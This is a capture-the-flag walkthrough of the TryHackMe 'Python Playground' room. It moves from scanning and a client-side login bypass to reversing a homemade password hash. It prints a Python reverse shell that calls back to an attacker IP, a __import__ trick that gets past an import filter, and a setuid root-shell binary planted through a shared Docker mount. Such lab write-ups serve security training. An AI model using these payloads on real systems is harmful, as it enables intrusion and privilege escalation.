Python Playground Walkthrough

Try Hack Me - Python Playground

As usual we start with a nmap scan: nmap -sCVT -oN nmap.out 10.10.234.66

Nmap scan report for 10.10.234.66
Host is up (0.027s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 f4:af:2f:f0:42:8a:b5:66:61:3e:73:d8:0d:2e:1c:7f (RSA)
|   256 36:f0:f3:aa:6b:e3:b9:21:c8:88:bd:8d:1c:aa:e2:cd (ECDSA)
|_  256 54:7e:3f:a9:17:da:63:f2:a2:ee:5c:60:7d:29:12:55 (ED25519)
80/tcp open  http    Node.js Express framework
|_http-title: Python Playground!
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

So there are 2 open ports, 22 and 80, there is not much to find on port 80 besides some webpage with a disabled login because of security issues... So let's fire up gobuster and see what else is on the server:

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.20.117
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     html
[+] Timeout:        10s
===============================================================
2020/06/09 20:06:54 Starting gobuster
===============================================================
/admin.html (Status: 200)
/index.html (Status: 200)
/login.html (Status: 200)
/signup.html (Status: 200)
===============================================================
2020/06/09 20:08:39 Finished
===============================================================

Ahhh... Ye old admin.html, and if we look at the source code:

// I suck at server side code, luckily I know how to make things secure without it - Connor

function string_to_int_array(str){
  const intArr = [];

  for(let i=0;i<str.length;i++){
    const charcode = str.charCodeAt(i);

    const partA = Math.floor(charcode / 26);
    const partB = charcode % 26;

    intArr.push(partA);
    intArr.push(partB);
  }

  return intArr;
}

function int_array_to_text(int_array){
  let txt = '';

  for(let i=0;i<int_array.length;i++){
    txt += String.fromCharCode(97 + int_array[i]);
  }

  return txt;
}

document.forms[0].onsubmit = function (e){
    e.preventDefault();

    if(document.getElementById('username').value !== 'connor'){
      document.getElementById('fail').style.display = '';
      return false;
    }

    const chosenPass = document.getElementById('inputPassword').value;

    const hash = int_array_to_text(string_to_int_array(int_array_to_text(string_to_int_array(chosenPass))));

    if(hash === 'dxeedxebdwemdwesdxdtdweqdxefdxefdxdudueqduerdvdtdvdu'){
      window.location = 'super-secret-admin-testing-panel.html';
    }else {
      document.getElementById('fail').style.display = '';
    }
    return false;
}

Looks like we don't even need a password, we can just follow the redirect if the password is correct: super-secret-admin-testing-panel.html

So here we have a python playground and sure enough, we can enter some code and it will run. Let's see if we can read some files:

f = open('/etc/passwd' 'r')
print(f.read())

Alright, we are able to read files of the system! Let's see if we can create a reverse shell, let's use the python shell from the pentestmonkeys

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Hmmm... Now we get Security threat detected!. It looks like we are being limited in what we can import, if we just enter import os we get the same error. It looks like it might just be checking for text, so let's try another way of importing os with something called Dunder (double under) methods: os = __import__('os') no if we run this we get a nice clean Exit code 0. Looks like we can use this little trick to bypass the "security":

subprocess = __import__('subprocess')
os = __import__('os')
socket =  __import__('socket')

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.11.4.157",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Don't forget to setup the nc listener on port 1234 and we get a shell! And it looks like a root shell too! Could we be this lucky? Let's first upgrade our shell to bash: script -qc /bin/bash /dev/null now if we ctrl+z to background the process and type stty raw -echo, press enter and then fg and press enter twice we can use our arrow keys and tab to autocomplete. Just a quick export TERM=screen to allow us to clear the screen as well and we have a nice working shell on the server... As root!

Looking in /root we can see the first flag! Awesome, and since we are root, the other flags should be easy. But if we cd / and do ls -la it becomes clear we are in a docker... Guess we need to rethink this... The hint on the page says we need some credentials, so trying to break out of the docker probably isn't going to work for this one. We can try to find some credentials by using grep to search the file system: grep -ir "password" / 2>/dev/null gives too many results, but remember that login page? There was a username there: connor, so lets search for that: grep -ir "connor" / 2>/dev/null Hmmm.. It looks like there are some files in /mnt/log, but no passwords...


Lets have another look at the login.html, we should be able to crack that "hash" since the algorithm to create it is there as well. So let's reverse engineer it:

function string_to_int_array(str){
  const intArr = [];

  for(let i=0;i<str.length;i++){
    const charcode = str.charCodeAt(i);

    const partA = Math.floor(charcode / 26);
    const partB = charcode % 26;

    intArr.push(partA);
    intArr.push(partB);
  }

  return intArr;
}

This part takes a string, and turns it into 2 numbers, the ascii code divided by 26 and the remainder of the ascii code divided by 26, so with these 2 numbers we can get the ascii code again: multiply the first number by 26 and add the second number. We can put this in code (python of course, because, python playground):

def rev_string_to_int(numberArray):
  result = ""
  for num1,num2 in zip(numberArray[0::2], numberArray[1::2]):
      result += (chr((num1 * 26) + num2))
  return result

Here I use zipp to be able to get the numbers in pairs and turn the ascii code back into a character. Now for the second function:

function int_array_to_text(int_array){
  let txt = '';

  for(let i=0;i<int_array.length;i++){
    txt += String.fromCharCode(97 + int_array[i]);
  }

  return txt;
}

Here the numbers are being added with 97 and turned into a character, this should be easy to reverse as well, we simply turn the character into the ascii number and subtract 97:

def rev_int_to_string(text):
    result = []
    for elem in text:
        result.append(ord(elem) - 97)
    return result

With that we have the code in place to reverse the hash, we just need to make sure that we run our functions opposite to the functions that created it: int_array_to_text(string_to_int_array(int_array_to_text(string_to_int_array(chosenPass)))); so we end up with this: rev_string_to_int(rev_int_to_string(rev_string_to_int(rev_int_to_string('dxeedxebdwemdwesdxdtdweqdxefdxefdxdudueqduerdvdtdvdu')))) note that the first function we call is the last function called in the create. Now we put this all in one script:

import zipp

def int_to_string(number):
    result = ""
    for elem in number:
        result += chr(97 + elem)
    return result


def rev_string_to_int(number):
    result = ""
    for num1,num2 in zip(number[0::2], number[1::2]):
        result += (chr((num1 * 26) + num2))
    return result

def rev_int_to_string(text):
    result = []
    for elem in text:
        result.append(ord(elem) - 97)
    return result

print(rev_string_to_int(rev_int_to_string(rev_string_to_int(rev_int_to_string('dxeedxebdwemdwesdxdtdweqdxefdxefdxdudueqduerdvdtdvdu')))))

Et voila, we have a password. Now we can ssh into the box and get the second flag in the home directory. Now the third flag...


This one took me longer then I'm willing to admit, so don't ask!

We can run some default test with LinEnum.sh or linpeas.sh but there is nothing that stands out. So after some time (and a hint from szymex73) I took another look at the docker, remember that mounted directory? Turns out we can write there, as root... So we are able to create any file we want and leave it in the /var/root folder of the host for connor to use. So let's create a setuid program that runs as root and creates a shell! First we create a .c file:

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(void)
{
setuid(0); setgid(0); system("/bin/bash");
}

We can use

echo "#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(void)
{
setuid(0); setgid(0); system(\"/bin/bash\");
}"> shell.c

Do note the \\" inserted to escape the quotes! now we can compile our program: gcc -o shell shell.c (ignore the warnings, we are not here to write good code) and set the suid: chmod u+s ./shell. We can do a quick test by running ./shell and "nothing" should happen, but we did go into another shell, by pressing ctrl+d we exit out of this shell. Now we can -ssh* as connor again and go to /var/log/ and our shell programm should be there, simply run ./shell and we are root! Go to /root to find the final flag!